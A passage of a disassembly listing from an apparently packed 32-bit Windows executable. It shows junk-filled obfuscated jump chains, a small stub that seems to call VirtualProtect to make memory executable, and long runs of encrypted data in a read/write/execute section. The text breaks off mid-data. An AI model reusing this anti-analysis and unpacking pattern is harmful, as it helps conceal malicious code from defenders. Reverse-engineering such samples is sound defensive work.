loc_4290EE: ; CODE XREF: DMN0:004290E7j jmp short loc_429109 ; --------------------------------------------------------------------------- dd 2D5F1B60h, 3B529E68h, 0A59A8ED1h, 6FCEF497h, 0C72F48A3h dd 0DFE5088Bh ; --------------------------------------------------------------------------- pusha loc_429109: ; CODE XREF: DMN0:loc_4290EEj xchg edx, edi jmp short loc_42910E ; --------------------------------------------------------------------------- byte_42910D db 1Ah ; CODE XREF: DMN0:0042909Ej ; --------------------------------------------------------------------------- loc_42910E: ; CODE XREF: DMN0:0042910Bj cmc mov ecx, edi xchg edx, edi loc_429113: ; CODE XREF: DMN0:0042918Ej jmp short loc_42911A ; --------------------------------------------------------------------------- db 97h, 0E2h, 0CEh db 4Dh, 0F7h ; --------------------------------------------------------------------------- loc_42911A: ; CODE XREF: DMN0:loc_429113j add ecx, eax jmp short loc_429131 ; --------------------------------------------------------------------------- cmp al, 0B6h fsubr dword ptr [esi+6Bh] xchg eax, edx enter 0FFFF8DD8h, 3Eh imul esi, [ebp+6], -66h sub bl, [eax-6Dh] leave inc edi loc_429131: ; CODE XREF: DMN0:0042911Cj sbb ebp, 0FFB16644h jmp short loc_429142 ; --------------------------------------------------------------------------- loc_429139: ; CODE XREF: DMN0:0042919Ej scasb push ebp sub ch, al jmp short loc_4291BB ; --------------------------------------------------------------------------- db 3Eh db 0F9h, 2Dh ; --------------------------------------------------------------------------- loc_429142: ; CODE XREF: DMN0:00429137j xchg edi, esi mov [ecx], edi jmp short loc_42914B ; --------------------------------------------------------------------------- db 8, 2 dup(49h) ; --------------------------------------------------------------------------- loc_42914B: ; CODE XREF: DMN0:00429146j test edi, 9740E56Ah jmp short loc_429160 ; --------------------------------------------------------------------------- db 49h dd 0B0607465h, 0DD5F4680h, 69900BC0h ; --------------------------------------------------------------------------- loc_429160: ; CODE XREF: DMN0:00429151j jmp short loc_42917F ; --------------------------------------------------------------------------- dw 7646h dd 0BD3A8F28h, 6D4E69E3h, 5E15BE0Dh, 0E2D58BF8h, 8C829F49h dd 4B310292h db 0A0h, 26h, 6Bh ; --------------------------------------------------------------------------- loc_42917F: ; CODE XREF: DMN0:loc_429160j stc jmp short loc_429187 ; --------------------------------------------------------------------------- dw 3BA4h db 48h, 35h, 0DEh ; --------------------------------------------------------------------------- loc_429187: ; CODE XREF: DMN0:00429180j bswap ecx jmp short loc_4291A7 ; --------------------------------------------------------------------------- cld cmp eax, [ebx] jnp short loc_429113 mov esp, 1EBC4394h ror dword ptr [esi+35FB0074h], cl rcr dword ptr [ebp+3Bh], cl jbe short loc_429139 rcr byte ptr [ebx], 9 or byte ptr [esi+62h], 0DCh loc_4291A7: ; CODE XREF: DMN0:00429189j jmp short loc_4291B0 ; --------------------------------------------------------------------------- db 77h, 34h, 71h dd 19915518h ; --------------------------------------------------------------------------- loc_4291B0: ; CODE XREF: DMN0:loc_4291A7j jmp short loc_4291C1 ; --------------------------------------------------------------------------- dw 1D1Fh ; --------------------------------------------------------------------------- shr dword ptr [esi+ecx*4+25A80A0Bh], 1 loc_4291BB: ; CODE XREF: DMN0:0042913Dj lahf sub eax, 0DE6F9985h loc_4291C1: ; CODE XREF: DMN0:loc_4291B0j xor edi, 4813B58Ch jmp short $+2 clc jmp short loc_4291E1 ; --------------------------------------------------------------------------- dd 85C24D7Fh, 1CF8655h, 1FF7D646h, 53A3A26Dh, 0DB86E0E8h db 0A1h ; --------------------------------------------------------------------------- loc_4291E1: ; CODE XREF: DMN0:004291CAj jmp short loc_4291E9 ; --------------------------------------------------------------------------- db 0EFh ; --------------------------------------------------------------------------- les edx, [edx+ebp*8] cmp dh, al loc_4291E9: ; CODE XREF: DMN0:loc_4291E1j add edx, 2 jmp short loc_42920D ; --------------------------------------------------------------------------- dw 3FCEh dd 94E197F2h, 1D34B774h, 0FD824517h, 63297EC0h, 8D7CBAC8h dd 71F38CB0h, 0D52CB1D7h db 29h ; --------------------------------------------------------------------------- loc_42920D: ; CODE XREF: DMN0:004291ECj jmp short loc_42921A ; --------------------------------------------------------------------------- db 0D2h dd 0CA860036h, 0A7FA38DAh db 55h, 25h ; --------------------------------------------------------------------------- loc_42921A: ; CODE XREF: DMN0:loc_42920Dj xchg ebx, edi jmp short loc_429231 ; --------------------------------------------------------------------------- dw 343Fh dd 9AEA31BAh, 37A11876h, 8B2B0572h, 0C22FF038h ; --------------------------------------------------------------------------- inc eax loc_429231: ; CODE XREF: DMN0:0042921Cj jmp short loc_42923F ; --------------------------------------------------------------------------- sal dword ptr [edi+79h], 0AAh mov esi, 0E2985E1Bh pop edi sbb edi, esi loc_42923F: ; CODE XREF: DMN0:loc_429231j std jmp short loc_429259 ; --------------------------------------------------------------------------- daa cmp dword ptr [edx], 5 mov bl, 0B4h mov esi, 2A72B322h or bh, ch xor dh, bh db 36h cli lds ebx, [ebp-362B618Fh] loc_429259: ; CODE XREF: DMN0:00429240j inc edx jmp short loc_42926B ; --------------------------------------------------------------------------- sub ch, dl cmp [eax], bh pop ds fdiv dword ptr [edx] retf ; --------------------------------------------------------------------------- dd 1162E48Eh db 55h, 16h, 18h ; --------------------------------------------------------------------------- loc_42926B: ; CODE XREF: DMN0:0042925Aj xchg esp, ebx jmp short loc_429280 ; --------------------------------------------------------------------------- db 0D5h dd 7C15D43Ch, 0E633DD20h, 9B69C536h, 36E7D48Ah ; --------------------------------------------------------------------------- loc_429280: ; CODE XREF: DMN0:0042926Dj jmp short loc_429283 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_429283: ; CODE XREF: DMN0:loc_429280j jmp short loc_42929B ; --------------------------------------------------------------------------- db 0Ah, 4Ah, 67h dd 9C0240F6h, 4A7FCFC1h, 743F2C4Ch, 466F8070h db 6, 67h, 0D5h ; --------------------------------------------------------------------------- loc_42929B: ; CODE XREF: DMN0:loc_429283j jmp short loc_4292AE ; --------------------------------------------------------------------------- db 3Dh, 51h, 0B3h dd 8CB18DEEh, 2944E809h, 9584EB81h db 0Eh, 1Ah ; --------------------------------------------------------------------------- loc_4292AE: ; CODE XREF: DMN0:loc_42929Bj std xchg edx, ebx jmp short loc_4292BB ; --------------------------------------------------------------------------- db 0EFh dd 7EAA57DEh ; --------------------------------------------------------------------------- test al, 0B9h clc loc_4292BB: ; CODE XREF: DMN0:004292B1j test ebp, 36B99957h jmp short loc_4292C5 ; --------------------------------------------------------------------------- jnz short loc_4292D8 loc_4292C5: ; CODE XREF: DMN0:004292C1j jmp short loc_4292D0 ; --------------------------------------------------------------------------- db 0A5h dd 6DA05BDCh, 5B8B9A70h ; --------------------------------------------------------------------------- loc_4292D0: ; CODE XREF: DMN0:loc_4292C5j inc ebx jmp short loc_4292E6 ; --------------------------------------------------------------------------- db 0E3h dd 9CEC08A0h ; --------------------------------------------------------------------------- loc_4292D8: ; CODE XREF: DMN0:004292C3j scasb push 66865D24h bswap ebp scasd out 0A8h, al ; Interrupt Controller #2, 8259A sub bl, [edx] aaa loc_4292E6: ; CODE XREF: DMN0:004292D1j cmc xchg esp, esi jmp short loc_429300 ; --------------------------------------------------------------------------- db 56h dd 0E2281677h, 6D833BFAh, 90B53495h, 70DDD99Dh, 0A2FE002Dh ; --------------------------------------------------------------------------- loc_429300: ; CODE XREF: DMN0:004292E9j jmp short loc_42930E ; --------------------------------------------------------------------------- dw 0E99Dh dd 0A949F2ACh, 0A81EE0BDh db 81h, 0A2h ; --------------------------------------------------------------------------- loc_42930E: ; CODE XREF: DMN0:loc_429300j jmp short loc_429327 ; --------------------------------------------------------------------------- dd 7F702580h, 8548FB51h, 69B8147Ah, 339F5DFFh, 6D46743Eh db 2Dh, 7Eh, 2Ch ; --------------------------------------------------------------------------- loc_429327: ; CODE XREF: DMN0:loc_42930Ej sub edx, 1 jz short loc_429397 jmp short loc_429343 ; --------------------------------------------------------------------------- dw 5CC7h dd 2FE216D2h, 78C7C2Eh, 48F586BFh, 4FB80FA9h db 50h, 2Eh, 0C7h ; --------------------------------------------------------------------------- loc_429343: ; CODE XREF: DMN0:0042932Cj jmp short loc_429348 ; --------------------------------------------------------------------------- db 0AEh, 0C0h, 19h ; --------------------------------------------------------------------------- loc_429348: ; CODE XREF: DMN0:loc_429343j xchg edi, ebx cld jmp short loc_429368 ; --------------------------------------------------------------------------- mov esi, 128B2E8Eh push ebx icebp dec esp xor esi, edx pop ds rol dh, 1 retf ; --------------------------------------------------------------------------- db 2Ch dd 53E8804Eh, 448DBBC9h, 6D48B9E4h ; --------------------------------------------------------------------------- loc_429368: ; CODE XREF: DMN0:0042934Bj jmp short $+2 xchg ecx, edx stc jmp short $+2 std stc dec edx jmp short loc_42938B ; --------------------------------------------------------------------------- dd 417AB35Eh, 9F830251h, 9BEB96F4h, 752C4DAh, 9F1238EAh db 0E7h, 1Bh, 0F9h ; --------------------------------------------------------------------------- loc_42938B: ; CODE XREF: DMN0:00429372j not esi bswap esi cld xchg ebp, esp jmp loc_428DE3 ; --------------------------------------------------------------------------- loc_429397: ; CODE XREF: DMN0:0042932Aj xchg ebp, eax jmp short loc_42939C ; --------------------------------------------------------------------------- db 10h ; --------------------------------------------------------------------------- loc_42939C: ; CODE XREF: DMN0:00429399j jmp short loc_4293A9 ; --------------------------------------------------------------------------- dw 0B5CDh ; --------------------------------------------------------------------------- scasb retn ; --------------------------------------------------------------------------- stc std pop edx retf 272Eh ; --------------------------------------------------------------------------- db 0CAh ; --------------------------------------------------------------------------- loc_4293A9: ; CODE XREF: DMN0:loc_42939Cj jmp short $+2 bswap eax jmp short loc_4293C4 ; --------------------------------------------------------------------------- db 40h dd 0E636B758h, 678C438Dh, 781DD269h, 55BE452Dh, 9DC8413Bh ; --------------------------------------------------------------------------- loc_4293C4: ; CODE XREF: DMN0:004293ADj jmp short loc_4293E0 ; --------------------------------------------------------------------------- dw 812Eh dd 2C461FDCh, 7B7BB76Ah, 8A66944h, 703CE21h, 0FD3839A0h dd 15787FA0h ; --------------------------------------------------------------------------- loc_4293E0: ; CODE XREF: DMN0:loc_4293C4j jmp short loc_4293E3 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4293E3: ; CODE XREF: DMN0:loc_4293E0j std jmp short loc_4293FA ; --------------------------------------------------------------------------- and al, 0D9h cmp [edx+60A350A2h], eax dec eax retf 585Ah ; --------------------------------------------------------------------------- dw 8DD5h dd 28EA5DCFh db 0F7h, 4Fh ; --------------------------------------------------------------------------- loc_4293FA: ; CODE XREF: DMN0:004293E4j jmp short loc_429408 ; --------------------------------------------------------------------------- dd 0D8718E8Eh, 0BFD0DAAh, 54353AA8h ; --------------------------------------------------------------------------- loc_429408: ; CODE XREF: DMN0:loc_4293FAj std jmp short loc_429413 ; --------------------------------------------------------------------------- db 0E2h dd 5B47FC76h db 6Dh, 0A9h, 82h ; --------------------------------------------------------------------------- loc_429413: ; CODE XREF: DMN0:00429409j jmp short loc_429423 ; --------------------------------------------------------------------------- db 0A9h, 96h, 8Ah dd 4623B2D2h, 0F84CA752h db 44h, 0EFh, 69h ; --------------------------------------------------------------------------- loc_429423: ; CODE XREF: DMN0:loc_429413j jmp short loc_42943B ; --------------------------------------------------------------------------- db 0DEh, 24h, 0A5h dd 0D200088Fh, 79AADB53h, 864DBF27h, 0F2FECF57h db 2Fh, 0C2h, 72h ; --------------------------------------------------------------------------- loc_42943B: ; CODE XREF: DMN0:loc_429423j pop edi jmp short loc_429444 ; --------------------------------------------------------------------------- dw 3D6Eh dd 6AACA79Bh ; --------------------------------------------------------------------------- loc_429444: ; CODE XREF: DMN0:0042943Cj not edi std jmp short loc_429459 ; --------------------------------------------------------------------------- db 0A1h, 0E6h, 3Eh dd 25696594h, 9A0F742Ah, 86EEB4CDh db 0CCh ; --------------------------------------------------------------------------- loc_429459: ; CODE XREF: DMN0:00429447j jmp short loc_42946E ; --------------------------------------------------------------------------- db 0Dh dd 87996C42h, 75661889h, 870C5550h, 18E0E74Fh db 1, 75h ; --------------------------------------------------------------------------- loc_42946E: ; CODE XREF: DMN0:loc_429459j jmp short loc_42948B ; --------------------------------------------------------------------------- dd 952C2F85h, 0A37E4B40h, 4031B81Fh, 639273EAh, 9DC24203h dd 2738DD33h db 0B8h, 8Ch, 94h ; --------------------------------------------------------------------------- loc_42948B: ; CODE XREF: DMN0:loc_42946Ej jmp short loc_4294AB ; --------------------------------------------------------------------------- db 0CEh, 42h, 60h dd 0CCC74736h, 1FB8DB8Fh, 212E4298h, 0E239732Ch, 3DDF56E3h dd 0D06A91FDh db 0F0h, 90h db 0B5h ; --------------------------------------------------------------------------- loc_4294AB: ; CODE XREF: DMN0:loc_42948Bj bswap esi jmp short loc_4294C6 ; --------------------------------------------------------------------------- scasb retf 0FAD7h ; --------------------------------------------------------------------------- mov ebx, 2E7D4F20h inc edx rsqrtps xmm5, oword ptr [ecx-5Ah] pop ebx inc esp mov ds:97C9EE40h, al adc ah, [edi] loc_4294C6: ; CODE XREF: DMN0:004294ADj jmp short loc_4294C9 ; --------------------------------------------------------------------------- db 25h ; --------------------------------------------------------------------------- loc_4294C9: ; CODE XREF: DMN0:loc_4294C6j jmp short loc_4294E6 ; --------------------------------------------------------------------------- db 0FEh dd 0F558A039h, 49BBF9EAh, 46E19666h, 0D3E4EBD8h, 0FE7658F0h dd 0C9335FEBh ; --------------------------------------------------------------------------- xchg eax, esp cli loc_4294E6: ; CODE XREF: DMN0:loc_4294C9j jmp short loc_4294E9 ; --------------------------------------------------------------------------- db 8Eh ; --------------------------------------------------------------------------- loc_4294E9: ; CODE XREF: DMN0:loc_4294E6j jmp short loc_429505 ; --------------------------------------------------------------------------- db 0F4h ; --------------------------------------------------------------------------- scasd sbb bh, [esi] push edi xchg eax, edx push ss mov esi, ebp icebp pop edx retf 960Bh ; --------------------------------------------------------------------------- db 1Ah, 0Fh, 0F2h dd 65FE2792h, 0E462F992h db 0A8h ; --------------------------------------------------------------------------- loc_429505: ; CODE XREF: DMN0:loc_4294E9j std jmp loc_4286EE ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42950B proc near ; CODE XREF: DMN0:00429575p var_24 = dword ptr -24h var_18 = byte ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor edx, 31333936h xor edx, 6AAD93DBh mov eax, 10000000h add edx, eax add esp, 10h mov ebp, [esp-10h+arg_4] push edx pusha push 0 lea edx, [esp+18h+var_18] push edx push 40h push 150B3h add [esp+24h+var_24], 1000h push eax add eax, 1000h add eax, 46023h call dword ptr [eax] add esp, 4 popa retn sub_42950B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, 8000h mov edx, 6F49755Ah mov eax, 3F0F5031h loc_429565: ; CODE XREF: DMN0:00429572j add eax, 276D6A46h xor edx, eax add dx, ax rol edx, 7 loop loc_429565 push eax call sub_42950B leave retn ; --------------------------------------------------------------------------- dd 37h dup(0) dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h dd 506C6175h, 65746F72h, 7463h, 0E000470h, 470h, 6B000000h dd 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0) dd 0FFFFFFFFh, 4702Bh, 4701Fh, 5 dup(0) dd 46000h, 10h, 30C6h, 5E4Fh dup(0) DMN0 ends ; Section 2. (virtual address 00041000) ; Virtual size : 0002C7B2 ( 182194.) ; Section size in file : 0002C7B2 ( 182194.) ; Offset to raw data for section: 00041000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute DMN1 segment para public 'CODE' use32 assume cs:DMN1 ;org 441000h assume es:nothing, ss:nothing, ds:DMN0, fs:nothing, gs:nothing dd 0AED3BBDBh, 533257Bh, 8548BA23h, 71F6569h, 7FD2CE2Fh dd 5A321F65h, 0FD8876DFh, 3BA2CA25h, 42F58B31h, 0F8BAAA7Dh dd 0A6E48317h, 9BEB4A4Eh, 0BF09B01Ch, 0CF642FA2h, 91BE571Ch dd 99F48533h, 0A3084848h, 4B702061h, 50A98C83h, 3CBB7053h dd 676E8AEh, 1E0D6360h, 0E8E5A4D6h, 8848A542h, 0DAB0141Ch dd 0EB839CC9h, 8C64390Ch, 0CF08DD92h, 8FAC066Bh, 2D47B293h dd 0F68EC5BFh, 0EBC73BC4h, 8A61ECB5h, 8F9FB56Dh, 29364F88h dd 7072A701h, 7F3879D5h, 9199311h, 8CD1052h, 7E80161Ah dd 0DF2E5AB2h, 0CF0A1042h, 0D8DCFAB3h, 0ECCC2EC8h, 0F1F9DC89h dd 9B52526Ch, 74DB0760h, 0D68DC89h, 0EEEEEA44h, 7EE1DBCh dd 0EEF4008h, 3C70CE56h, 5A5FC08Fh, 1542559Eh, 0F00C2D45h dd 13F08B0h, 5F23F5D1h, 76F65B31h, 0C8C58DEAh, 0C4B485Dh dd 3FF92132h, 0FA6DEEBh, 0A0ED0EE6h, 28DF54ADh, 216F4E65h dd 0B48575F4h, 53DFFADFh, 31FF0F2Bh, 9F08AD6Bh, 0DDBC91BBh dd 65895B87h, 0D3A497A4h, 7328FF40h, 0FB42F80h, 0FAF9789Ah dd 770F0CCFh, 1E4D0F8Fh, 0CD6DE4A6h, 5ADD0FAAh, 5B00242Eh dd 967C06DBh, 0AF4BD2CBh, 0CAF2168h, 7ECB8453h, 6FEFFDCFh dd 84097FDEh, 0C211DB79h, 9D2877F5h, 228F8DADh, 0AE09BBEBh dd 9943E8DFh, 0F1726B66h, 0B4176A8Ah, 3ED2A8C6h, 0B6FDBDB0h dd 3E4D87E5h, 0F47CB840h, 1B7E6DD7h, 2F0FBDDBh, 50BA3E13h dd 0B1884C6Fh, 0C1DDC3A2h, 0B332DCA7h, 0FF2798B7h, 84ECF2CEh dd 0EF6B093Fh, 823FA586h, 0C22D3E7Fh, 1595C558h, 0EC52A3ECh dd 95AD941Bh, 0AAE84863h, 0ACBAF5B4h, 8DB03679h, 0D559EB24h dd 0DD37C93Eh, 590D31A3h, 609B8104h, 0B3FA4A33h, 0CBE6AEEAh dd 890D8FE4h, 9840DF39h, 0A39F0DA6h, 0B46C201Eh, 0EEC05264h dd 4CA1D906h, 0C5AC6CDCh, 5334274Eh, 9BE0619h, 6B5B45A6h dd 4A35F132h, 0AE1874D9h, 51621ECBh, 7795ECFEh, 12FB5B68h dd 0DB902412h, 63D220AAh, 0D4A76F51h, 0C7DAEC92h, 0BBBD1DEAh dd 32027905h, 0BE27D595h, 277AE235h, 0ECF628A1h, 6CFB3539h dd 0FDD21274h, 0C26811CAh, 0BFAEE4D0h, 80479BFDh, 6DA4840Ah dd 6CC4DE0Fh, 374B0E21h, 1641B6A0h, 548B5AEFh, 0E6AA5D87h dd 0C62DE71Fh, 355722D7h, 22D0DC88h, 2333CDFEh, 7EC5DFAEh dd 0E01A62E4h, 0B270406Ah, 0B8C4738Fh, 0C478A919h, 88CB89F9h dd 3F66400Bh, 9C4499A6h, 90D2E0F6h, 7C0D3A49h, 240A39FFh dd 54DF78C5h, 312FEA9Ah, 768760Dh, 0C9880464h, 0D1490010h dd 3A0617C3h, 55C02F96h, 6F028952h, 14C85C8Eh, 81DE42FBh dd 0D4893A51h, 8A01AF9h, 0EA3FC59h, 3ED48E7Ah, 9C1CCD47h dd 532ADEFAh, 0C156D3A4h, 9459ADC4h, 7099D551h, 0ED360194h dd 921698AEh, 23FFA28Eh, 0DA1A6F6Dh, 0F47DC11Bh, 75241ABFh dd 12537F52h, 41563DFAh, 0F01F6CC1h, 35051B22h, 72924832h dd 796FD455h, 0B32CECA4h, 487F6829h, 3B5CDDAEh, 9DC350B7h dd 2DD867BEh, 4443FB38h, 62B0AC8Bh, 0D9D18Fh, 771A8957h dd 0E0840540h, 0CB3D449Bh, 700A6Eh, 4E787C7Eh, 5B6ED6EAh dd 0B840412Ah, 8CC38D85h, 3545E92Dh, 0CE53AACFh, 6AB0DA1Dh dd 5824F489h, 18C84B67h, 0A9F7A2C1h, 69C8FAFCh, 2706323h dd 0CE8C9203h, 69FCB9B0h, 0D0191E9Ch, 8598EA1Dh, 31D7091Bh dd 0B73D9E67h, 0A7865A61h, 3B96FF71h, 28BE7DB0h, 0E3560EA7h dd 396274A3h, 0E6549A63h, 0B6DFCAC4h, 0C48BB0D4h, 0F7160ED3h dd 31A2F3EEh, 97495489h, 0EF1F93B6h, 0DFE5710Dh, 0DBB69CAh dd 83BD4719h, 5827D60Ch, 490512ACh, 5C7A2D51h, 9C1DC10h dd 3256A21Ch, 18B27D90h, 2D21586h, 7CF5CA5Fh, 500A9549h dd 0E4F6908Fh, 93EBCC90h, 2B8F0AA4h, 0E0A8D6Bh, 0D9638E0h dd 6EAFF004h, 0A671E504h, 412267E2h, 0A30345AAh, 0C104E921h dd 155035C8h, 0A38CAF83h, 6CAE012Ah, 0EDCC39F0h, 434DC6F7h dd 0CA72BF7Fh, 0CBAB191Fh, 9F7900B9h, 6251876Fh, 0CF8BF8ECh dd 8B87AEBDh, 4308B414h, 4410FB84h, 0F6429BDCh, 0CB15A960h dd 0F028EEFCh, 0BC773DDh, 99CBBC3Dh, 0ED48862Bh, 7E851F88h dd 7F048F34h, 26BB5633h, 0CE01C5F8h, 6A3E4D2Bh, 0A4942595h dd 4A35B440h, 0B1505ADh, 0AC1C1974h, 0A1B94228h, 0E2C07ADEh dd 6FCBAA7Bh, 0AC20602Bh, 5DAF995h, 0D7B32E02h, 0D6E8F01Eh dd 1F8B352Dh, 34BA7563h, 0F71CE471h, 4AB555E6h, 618DAA11h dd 0EFC6E3E2h, 373BA8B1h, 6B47DC68h, 4C705E8Ah, 4B224D21h dd 0B62B1658h, 35546516h, 752DB754h, 0FA81AC6h, 6DDF54FCh dd 1F220AAEh, 9EDF3686h, 1DE9A165h, 2986963Dh, 0B8C4AB31h dd 0AE894C62h, 5C3B215Ah, 0A6B8B180h, 50366C88h, 1EF6823Bh dd 66092471h, 55748A2h, 0F575C435h, 0AC6E46D8h, 0BA0234Dh dd 98C4ED6Ch, 0A995F2ABh, 8BF52BCFh, 19AD94FEh, 2E86A355h dd 46CF6613h, 0EC1E979Eh, 3D9DE784h, 0D426A40Ch, 0B9E7896Bh dd 1E110F7Fh, 5AFA4239h, 4F5A8CD7h, 0C0AB3EC7h, 57B25139h dd 287ED094h, 0FC85E4FBh, 10EF4CDEh, 0F08EB1CDh, 61E66F1h dd 0F2EF5D8Fh, 0B655713Fh, 0E34ACE28h, 35D26015h, 7B76BFF0h dd 81608012h, 9D3E8BECh, 3C12BDD9h, 0F39DC5h, 0A51DE0A2h dd 0F43392FCh, 0C0564443h, 93DD4AE1h, 26B2875Dh, 8CCE1DF1h dd 0E792B1EBh, 20CFC758h, 3058A1E2h, 3BDB3E9Eh, 6E66F013h dd 491A9CCBh, 8D67CD7Dh, 0A73F9080h, 22193FD2h, 0F8AFB774h dd 78036C63h, 0D4673DF0h, 871A2F87h, 12B20D7Eh, 6895448Ah dd 0E4C5D9D2h, 4281A614h, 9AEEB486h, 74AB8B71h, 2E6B6B4Dh dd 82FEC4A3h, 45C8CD2h, 66174673h, 0F3FD3CE0h, 0EF571DB8h dd 56FF75F3h, 131B1B3Dh, 44A78E78h, 0D20A059Fh, 0A7C88B6Bh dd 0E772F13Ch, 0D8DDE739h, 185F90BEh, 4AE0C345h, 9084217Eh dd 2EE2ECDh, 92D97C9Bh, 8A048562h, 6362FD50h, 467D0B9Ch dd 2AA4E50Ch, 0E7C5DD6Eh, 0C42EA74Ah, 713FAE9Eh, 0D724D084h dd 8B1972BBh, 61945574h, 0FCD77B7Ch, 62CD174Bh, 3E3636E7h dd 545E73ABh, 0DFFD2656h, 1F54B03Fh, 75F8E8FFh, 688E232Dh dd 653642EEh, 0BB94C1F2h, 6FF8981Eh, 36C84118h, 55050511h dd 0E9490FCCh, 0DC90C563h, 44C05CB8h, 0AF03235Dh, 19F27A40h dd 4617CFE1h, 9049D691h, 0B5DF2B34h, 6D6C370h, 196DA352h dd 6494F924h, 0DFE978F9h, 0DC947727h, 0ACFAC66Dh, 703D5621h dd 84CC77BDh, 26FDE30Eh, 538B17A6h, 6A0E6853h, 0F55D10B5h dd 400451A0h, 65566F77h, 0B26E3274h, 7C5F1F52h, 0CCD3EA4Eh dd 0F08B2039h, 0CAE5BA6Ah, 358F818Ah, 32E337B6h, 5DF5CEDFh dd 0C441549Ah, 879F6485h, 21569A72h, 0D8F00E04h, 33DD8FB4h dd 0CFD44ACh, 1B73E3B2h, 0FD693AE2h, 0BDD7E3A8h, 0BE69C6BFh dd 0FC956EFFh, 0ED3B3771h, 0E79DF155h, 76081213h, 80B62538h dd 0E2077437h, 115C3B2Ah, 9FD05F4h, 0BA8701B0h, 0FA55FF1Eh dd 645A5D91h, 0AE26490Fh, 0E8868F3h, 0ECF2E717h, 2D775713h dd 0E3119608h, 1DE37CBFh, 0E758DF44h, 0AC244B98h, 0D5DC2934h dd 2D5DD7B8h, 21FD7A0h, 0C08D5554h, 0FFCF4C66h, 83CF0232h dd 47A5C084h, 0D6DF578Ch, 73CC53F5h, 763C9E5Dh, 0F8EF6E38h dd 57B26528h, 55C320D8h, 4B116418h, 730B27BEh, 94F28608h dd 363F3DCEh, 0AB0F4C17h, 0CD2E7B58h, 2384864Dh, 0C31B8D1Ch dd 6C32FF11h, 0A237E907h, 0CCC142C7h, 7398E724h, 1CA46AF4h dd 2F9F4CA5h, 295E517h dd 432FECCEh, 0C8D2B8D6h, 0CB154869h, 0D8FB61D7h, 99320491h dd 0C05FE80Dh, 375E3ABDh, 8CA9F251h, 0B52F2BABh, 374B598Dh dd 0DC83DD12h, 40D8ADD6h, 86ABE3F0h, 0EF2A9747h, 5701B2E5h dd 712F149Dh, 570740Bh, 29954562h, 0CB0D2DE0h, 9CB134ACh dd 44817FA8h, 0CF47F3F1h, 0C361AE3Fh, 0F5AECDAEh, 95A5368Dh dd 2712C73h, 682BEE2Fh, 8E5131AFh, 6EA708FEh, 7C1C0C91h dd 0C8515284h, 692D209Bh, 5D3C6DBBh, 900416FEh, 0E69179CEh dd 0C066E897h, 37C4E8E5h, 15983DFFh, 3173635Eh, 57DE952Dh dd 66464103h, 0FB189CA7h, 3330D667h, 0E5B86C70h, 357D45E8h dd 4CC20F79h, 319E42CDh, 109BA3C4h, 0C8DD275Ch, 5A999D63h dd 856F94C2h, 909036E7h, 9505A00Eh, 0DC89E41Dh, 3741B4C1h dd 0B53AD6ABh, 0CE0A7C06h, 6F3752E3h, 3CBA3C09h, 46D9C71Bh dd 0DE0CAED3h, 0D96D1B78h, 0C37DD1A8h, 587ACE83h, 4BEA45ACh dd 0A47A61DBh, 73D9B3C7h, 8C59B27Eh, 39CD671Ch, 5680617h dd 0D6F77549h, 0B4490738h, 3E890C68h, 42122198h, 0B32E4773h dd 17A2B53Ah, 0A3A5EFEBh, 13897DCAh, 3AEB679Ah, 893D3178h dd 0A7EDCD79h, 28B61E76h, 186D082Fh, 0E04323DCh, 1010E050h dd 9CCDEEEDh, 0D3427916h, 0E4E617ACh, 491C199Dh, 0A557A4A0h dd 932574A6h, 2AD91127h, 6B3AA4EFh, 94AB6B3Dh, 0ACAF6ED4h dd 9A3E683Ah, 0C724424Bh, 8B94E215h, 5862E0B2h, 0B2292E9Ah dd 62D5A455h, 602E7C21h, 0A952A3C8h, 1F8917Ah, 5235EDE1h dd 3FE0C06Dh, 0B5DE127Dh, 2E019347h, 5DA62CA2h, 524F3F14h dd 6A64B2B3h, 89548D4h, 0F336DE50h, 0AC9C8DE6h, 0E7DD6930h dd 40C916E7h, 7CF7184Eh, 0FC530255h, 0D6DD5AB3h, 4CF9DE43h dd 871B4851h, 6A27D743h, 0A3F7CDB4h, 0FD713736h, 80068627h dd 0F151F0C7h, 0C626E3B2h, 0FD20BBFh, 9B71D23h, 774813D7h dd 0A914B334h, 7F72AFE9h, 210F2561h, 9B34EAC3h, 0F2ACDF61h dd 773C9F4Dh, 6DB6BCF6h, 0D3D73BB1h, 8301FC91h, 0B47960FCh dd 35643A1Fh, 0D3A671DEh, 0CEE57899h, 9E0BF867h, 99D6B4F4h dd 0D4A48236h, 304CC29Dh, 0D8ED58C2h, 0F5C77222h, 13272460h dd 0B00DDE9Fh, 0A4A0E98Dh, 0D4F91801h, 43EFB33Eh, 4DA76887h dd 0A13CEA90h, 0A362C01Fh, 37AC4BCDh, 2A75C948h, 0BAE67865h dd 3B3C50FBh, 80DDC1DAh, 0C498011Bh, 4FBAA658h, 4FC8B390h dd 2C5108D5h, 0CC21E1B7h, 0FF934143h, 8EBEA962h, 0FBDC7F7Bh dd 285DA869h, 7D2584ABh, 70C75128h, 922A7F63h, 0C1054163h dd 47F52E25h, 0E80ACBD4h, 0C25FF590h, 0F949EABEh, 602AA263h dd 7E6357C4h, 7678AD80h, 76EE73h, 560E4C7Ah, 22815D08h dd 0D7A94482h, 0F0E85FFBh, 10B60BF2h, 0AB75B799h, 0EFFAF8B2h dd 3750822Fh, 4D944676h, 91CA23BEh, 5A932862h, 0AEE8D753h dd 5CCD6036h, 5367462Bh, 0C15DDE10h, 0A35AB32Ch, 0E4885F1h dd 65F61E58h, 7D01A45Ch, 0BEB1F629h, 0D664F816h, 0C9302F82h dd 0C2F09C24h, 0F3A22E0Bh, 0FD9B615Dh, 0F58BA8B4h, 263D7B32h dd 8BCC141Fh, 633183E9h, 863CD3BAh, 0A5AC17B6h, 4086B99Dh dd 1AD1287Ch, 0C539F64Dh, 0E213DF6Dh, 21BE024Ah, 2E6FD7Fh dd 8BAB50C7h, 2F0D80CCh, 0BE2B4220h, 0AB6293F4h, 32FAFA11h dd 17A1124Eh, 0E2B85D82h, 0D846F58Ch, 789FE8E4h, 0DB4A6670h dd 526DC02Ah, 59773DCCh, 2FB730Bh, 0BCC89868h, 